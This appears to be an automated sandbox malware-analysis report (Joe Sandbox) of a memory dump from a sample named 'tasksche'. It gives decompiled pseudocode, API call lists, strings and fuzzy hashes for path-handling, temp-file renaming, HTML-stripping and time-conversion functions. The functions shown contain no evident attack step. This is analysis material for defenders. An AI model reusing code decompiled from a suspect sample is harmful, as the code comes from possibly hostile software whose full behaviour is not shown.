								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,76D7BB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5
p["u k"u, xrefs: 0041A025

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: ($p["u k"u
API String ID: 189428636-4121188302
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004084EE Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004084EE() {
				void* __ebx;
				void* _t38;
				short _t39;
				long _t41;
				void* _t46;
				short _t48;
				void* _t73;
				WCHAR* _t74;
				void* _t76;
				void* _t83;
				void* _t86;
				void* _t87;
				void* _t91;
				void* _t93;

				E0041A4DC(E004296F3, _t91);
				E0041AAF0(0x5028);
				_t74 =  *(_t91 + 8);
				_t38 = _t91 - 0x5034;
				__imp__GetLongPathNameW(_t74, _t38, 0x800, _t83, _t87, _t73);
				if(_t38 == 0 || _t38 >= 0x800) {
					L19:
					_t39 = 0;
					__eflags = 0;
				} else {
					_t41 = GetShortPathNameW(_t74, _t91 - 0x4034, 0x800);
					if(_t41 == 0) {
						goto L19;
					} else {
						_t98 = _t41 - 0x800;
						if(_t41 >= 0x800) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t91 - 0x10)) = E0040A5DB(_t98, _t91 - 0x5034);
							_t85 = E0040A5DB(_t98, _t91 - 0x4034);
							if( *_t45 == 0) {
								goto L19;
							} else {
								_t46 = E00411E60( *((intOrPtr*)(_t91 - 0x10)), _t85);
								_t100 = _t46;
								if(_t46 == 0) {
									goto L19;
								} else {
									_t48 = E00411E60(E0040A5DB(_t100, _t74), _t85);
									if(_t48 != 0) {
										goto L19;
									} else {
										 *(_t91 - 0x1010) = _t48;
										_t86 = 0;
										while(1) {
											_t103 =  *(_t91 - 0x1010);
											if( *(_t91 - 0x1010) != 0) {
												break;
											}
											E00410B9C(_t91 - 0x1010, _t74, 0x800);
											E0040BC16(E0040A5DB(_t103, _t91 - 0x1010), 0x800, L"rtmp%d", _t86);
											_t93 = _t93 + 0x10;
											if(E004092A5(_t91 - 0x1010) != 0) {
												 *(_t91 - 0x1010) = 0;
											}
											_t86 = _t86 + 0x7b;
											if(_t86 < 0x2710) {
												continue;
											} else {
												_t107 =  *(_t91 - 0x1010);
												if( *(_t91 - 0x1010) == 0) {
													goto L19;
												} else {
													break;
												}
											}
											goto L20;
										}
										E00410B9C(_t91 - 0x3034, _t74, 0x800);
										_push(0x800);
										E0040A745(_t107, _t91 - 0x3034,  *((intOrPtr*)(_t91 - 0x10)));
										if(MoveFileW(_t91 - 0x3034, _t91 - 0x1010) == 0) {
											goto L19;
										} else {
											E00408786(_t91 - 0x2034);
											 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
											_t76 = 0;
											if(E004092A5( *(_t91 + 8)) == 0) {
												_t76 = E00408923(_t91 - 0x2034,  *(_t91 + 8), 0x12);
											}
											MoveFileW(_t91 - 0x1010, _t91 - 0x3034);
											if(_t76 != 0) {
												E00408A32(_t91 - 0x2034);
												E00408A80(_t91 - 0x2034);
											}
											 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
											E00408C7D(_t76, _t91 - 0x2034);
											_t39 = 1;
										}
									}
								}
							}
						}
					}
				}
				L20:
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t39;
			}

0x004084f3
0x004084fd
0x00408503
0x0040850e
0x00408516
0x0040851e
0x004086ab
0x004086ab
0x004086ab
0x0040852c
0x00408535
0x0040853d
0x00000000
0x00408543
0x00408543
0x00408545
0x00000000
0x0040854b
0x00408557
0x00408566
0x0040856c
0x00000000
0x00408572
0x00408576
0x0040857b
0x0040857d
0x00000000
0x00408583
0x0040858b
0x00408592
0x00000000
0x00408598
0x00408598
0x0040859f
0x004085a1
0x004085a1
0x004085a9
0x00000000
0x00000000
0x004085b4
0x004085cd
0x004085d2
0x004085e3
0x004085e7
0x004085e7
0x004085ee
0x004085f7
0x00000000
0x004085f9
0x004085f9
0x00408601
0x00000000
0x00000000
0x00000000
0x00000000
0x00408601
0x00000000
0x004085f7
0x00408610
0x00408615
0x00408620
0x0040863d
0x00000000
0x0040863f
0x00408645
0x0040864d
0x00408651
0x0040865a
0x0040866c
0x0040866c
0x0040867c
0x00408680
0x00408688
0x00408693
0x00408693
0x00408698
0x004086a2
0x004086a7
0x004086a7
0x0040863d
0x00408592
0x0040857d
0x0040856c
0x00408545
0x0040853d
0x004086ad
0x004086b3
0x004086bb

APIs

__EH_prolog.LIBCMT ref: 004084F3
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00408516
GetShortPathNameW.KERNEL32 ref: 00408535

Part of subcall function 0040A5DB: _wcslen.LIBCMT ref: 0040A5E1

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00409CA8,?,?,?,00409DC2,?,-00000002,?,00000000,?), ref: 00411E76

_swprintf.LIBCMT ref: 004085CD

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

MoveFileW.KERNEL32(?,00000000), ref: 00408639
MoveFileW.KERNEL32(00000000,?), ref: 0040867C

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

Strings

rtmp%d, xrefs: 004085BA

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen_wcsncpy
String ID: rtmp%d
API String ID: 506780119-3303766350
Opcode ID: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction ID: 086441498323e4bc326e09acd5d1366d0aff3811eaae5beb392a373780c828d6
Opcode Fuzzy Hash: a91559be58acffd0dc5b452dff065d579de74766ff3e95af3a762548e6537785
Instruction Fuzzy Hash: DE415E71901218AACB20EB61CE45EDF777CAF00394F0008ABB585B7181EA7D9B959E68

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA7D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA7D(void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t27;
				signed int _t29;
				signed short* _t30;

				_t20 = _a8;
				_t30 = _a4;
				 *_t20 = 0;
				_t10 = E0040A0EA(_t30);
				if(_t10 == 0) {
					_t27 = 0x5c;
					if( *_t30 == _t27 && _t30[1] == _t27) {
						_t5 =  &(_t30[2]); // 0x4
						_t10 = E0041CA29(_t5, _t27);
						if(_t10 != 0) {
							_t13 = E0041CA29(_t10 + 2, _t27);
							if(_t13 == 0) {
								_t14 = E0041A7AF(_t30);
							} else {
								_t14 = (_t13 - _t30 >> 1) + 1;
							}
							_t29 = _t14;
							if(_t29 >= _a12) {
								_t29 = 0;
							}
							E0041C853(_t20, _t30, _t29);
							_t10 = 0;
							 *((short*)(_t20 + _t29 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E0040BC16(_t20, _a12, L"%c:\\",  *_t30 & 0x0000ffff);
			}

0x0040aa7e
0x0040aa83
0x0040aa8a
0x0040aa8d
0x0040aa94
0x0040aab1
0x0040aab5
0x0040aabd
0x0040aac2
0x0040aacb
0x0040aad2
0x0040aadb
0x0040aae5
0x0040aadd
0x0040aae1
0x0040aae1
0x0040aaeb
0x0040aaf1
0x0040aaf3
0x0040aaf3
0x0040aaf8
0x0040ab00
0x0040ab02
0x0040ab02
0x0040aacb
0x00000000
0x0040ab06
0x00000000

APIs

_swprintf.LIBCMT ref: 0040AAA4

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

_wcschr.LIBCMT ref: 0040AAC2
_wcschr.LIBCMT ref: 0040AAD2
_wcsncpy.LIBCMT ref: 0040AAF8

Strings

%s.%d.tmp, xrefs: 0040AA82
%c:\, xrefs: 0040AA9A

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf_wcsncpy
String ID: %c:\$%s.%d.tmp
API String ID: 2474501127-1021493711
Opcode ID: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction ID: b4756b8e91951cb7d51e69898c9cc4431ccaeceaeab60524178106c8bdd82eb4
Opcode Fuzzy Hash: da4b65786035d2197ed7d49f53fcd311549ea47fe36f06ac93baee63d6beaa20
Instruction Fuzzy Hash: 8101042320431169DA20EB769C45C6B73ACDFD93A0B00883FF584E31C1EA78D4A0C27B

Uniqueness

Uniqueness Score: -1.00%

Function 004192D0 Relevance: 12.1, APIs: 8, Instructions: 71
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004192D0(intOrPtr __ecx) {
				long _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				short _v32;
				struct tagMSG _v60;
				void* _t23;
				intOrPtr* _t25;
				short _t28;
				intOrPtr* _t30;

				_v12 = __ecx;
				_v8 = GetTickCount();
				_t23 = GetTickCount() - _v8;
				while(_t23 <= 0x2710) {
					_t25 =  *((intOrPtr*)(_v12 + 0x10));
					 *((intOrPtr*)( *_t25 + 0xe0))(_t25,  &_v16);
					if(_v16 != 4) {
						if(PeekMessageW( &_v60, 0, 0, 0, 0) != 0) {
							TranslateMessage( &_v60);
							DispatchMessageW( &_v60);
							GetMessageW( &_v60, 0, 0, 0);
						}
						_t23 = GetTickCount() - _v8;
						continue;
					}
					break;
				}
				__imp__#8( &_v32);
				_t28 = 3;
				_v32 = _t28;
				_t30 =  *((intOrPtr*)(_v12 + 0x10));
				_v24 = 0x96;
				return  *((intOrPtr*)( *_t30 + 0xd8))(_t30, 0x3f, 2,  &_v32, 0);
			}

0x004192df
0x004192e4
0x004192e9
0x00419346
0x004192f8
0x00419302
0x0041930c
0x0041931e
0x00419324
0x0041932e
0x0041933b
0x0041933b
0x00419343
0x00000000
0x00419343
0x00000000
0x0041930c
0x0041934e
0x00419356
0x0041935c
0x00419363
0x0041936a
0x0041937e

APIs

GetTickCount.KERNEL32 ref: 004192E2
GetTickCount.KERNEL32 ref: 004192E7
PeekMessageW.USER32 ref: 00419316
TranslateMessage.USER32(?), ref: 00419324
DispatchMessageW.USER32 ref: 0041932E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041933B
GetTickCount.KERNEL32 ref: 00419341
VariantInit.OLEAUT32(?), ref: 0041934E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$CountTick$DispatchInitPeekTranslateVariant
String ID:
API String ID: 4242828014-0
Opcode ID: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction ID: 9cb0af2a0f3e63d9aa0a53d062aebc77c377528e3d470f830326fa06e80cb38f
Opcode Fuzzy Hash: 3739eaef324a12835188418d8e4db8062592f3b82a480bdb7c4c47042269d501
Instruction Fuzzy Hash: C121F7B1E00208AFDB10DFE4D888EEEBBBCEF48305F504866F911E7250D6799E458B61

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

</style>, xrefs: 004195B3
<br>, xrefs: 00419560
<style>, xrefs: 00419598
</p>, xrefs: 00419549

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
